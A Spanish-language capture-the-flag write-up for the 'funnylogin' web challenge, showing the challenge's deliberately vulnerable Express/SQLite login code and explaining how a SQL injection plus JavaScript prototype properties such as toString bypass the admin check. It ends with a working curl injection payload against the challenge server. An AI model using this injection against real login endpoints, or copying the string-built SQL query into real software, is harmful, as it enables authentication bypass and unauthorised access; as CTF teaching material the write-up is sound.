funnylogin
3 minutos de lectura
Se nos proporciona un proyecto de Node.js con un solo archivo app.js
:
const express = require('express');
const crypto = require('crypto');
const app = express();
const db = require('better-sqlite3')('db.sqlite3');
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY,
username TEXT,
password TEXT
);`);
const FLAG = process.env.FLAG || "dice{test_flag}";
const PORT = process.env.PORT || 3000;
const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));
db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);
const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;
app.use(express.urlencoded({ extended: false }));
app.use(express.static("public"));
app.post("/api/login", (req, res) => {
const { user, pass } = req.body;
const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
try {
const id = db.prepare(query).get()?.id;
if (!id) {
return res.redirect("/?message=Incorrect username or password");
}
if (users[id] && isAdmin[user]) {
return res.redirect("/?flag=" + encodeURIComponent(FLAG));
}
return res.redirect("/?message=This system is currently only available to admins...");
}
catch {
return res.redirect("/?message=Nice try...");
}
});
app.listen(PORT, () => console.log(`web/funnylogin listening on port ${PORT}`));
Análisis del código fuente
En este reto, el servidor crea 100000 usuarios y contraseñas aleatorios y los almacena en una lista users
y en una base de datos SQLite:
const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));
db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);
A continuación, elige a uno de los usuarios al azar y lo convierte en administrador:
const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;
Solo hay un endpoint en /api/login
(POST). Se nos pide que iniciemos sesión con nombre de usuario y contraseña (user
y pass
en el cuerpo de la petición).
Hay una vulnerabilidad clara de inyección de código SQL aquí:
const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
Sin embargo, necesitamos pasar este bloque if
para obtener la flag:
if (users[id] && isAdmin[user]) {
return res.redirect("/?flag=" + encodeURIComponent(FLAG));
}
Explotación
Nótese que la variable id
viene de la consulta SQL, mientras que user
proviene del cuerpo de la petición. Usando el SQLi, podemos hacer que SQLite devuelva algunos ID
(obsérvese que no conocemos ninguno de los usuarios y contraseñas).
Entonces, si no conocemos ninguno de los nombres en la base de datos, ¿cómo vamos a saber el nombre exacto del administrador? Bueno, JavaScript es muy laxo, y hay muchos valores que se interpretan como true
dentro de un bloque if
. Por ejemplo, funciones:
$ node
Welcome to Node.js v21.6.1.
Type ".help" for more information.
> eval
[Function: eval]
> Boolean(eval)
true
Entonces, podemos hacer lo siguiente:
$ node
Welcome to Node.js v21.6.1.
Type ".help" for more information.
> const isAdmin = {}
undefined
> isAdmin['asdf'] = true
true
> isAdmin.
isAdmin.__proto__ isAdmin.constructor isAdmin.hasOwnProperty isAdmin.isPrototypeOf isAdmin.propertyIsEnumerable
isAdmin.toLocaleString isAdmin.toString isAdmin.valueOf
isAdmin.asdf
Como se puede ver, si golpeamos TAB
veremos algunos valores recomendados para continuar la expresión isAdmin.
. Así, obtenemos algunas funciones que pueden ser ejecutadas por un objeto en JavaScript. Además, podemos acceder a ellas como atributos del objeto:
> isAdmin['toString']
[Function: toString]
> Boolean(isAdmin['toString'])
true
Resumiendo, necesitamos usar el SQLi para que la consulta devuelva cualquier valor y luego usar cualquiera de las funciones predeterminadas del objeto para hacer que isAdmin[user]
se interprete como true
.
Flag
El siguiente payload funciona:
$ curl https://funnylogin.mc.ax/api/login -d "user=toString&pass='+UNION+SELECT+1--+-"
Found. Redirecting to /?flag=dice%7Bi_l0ve_java5cript!%7D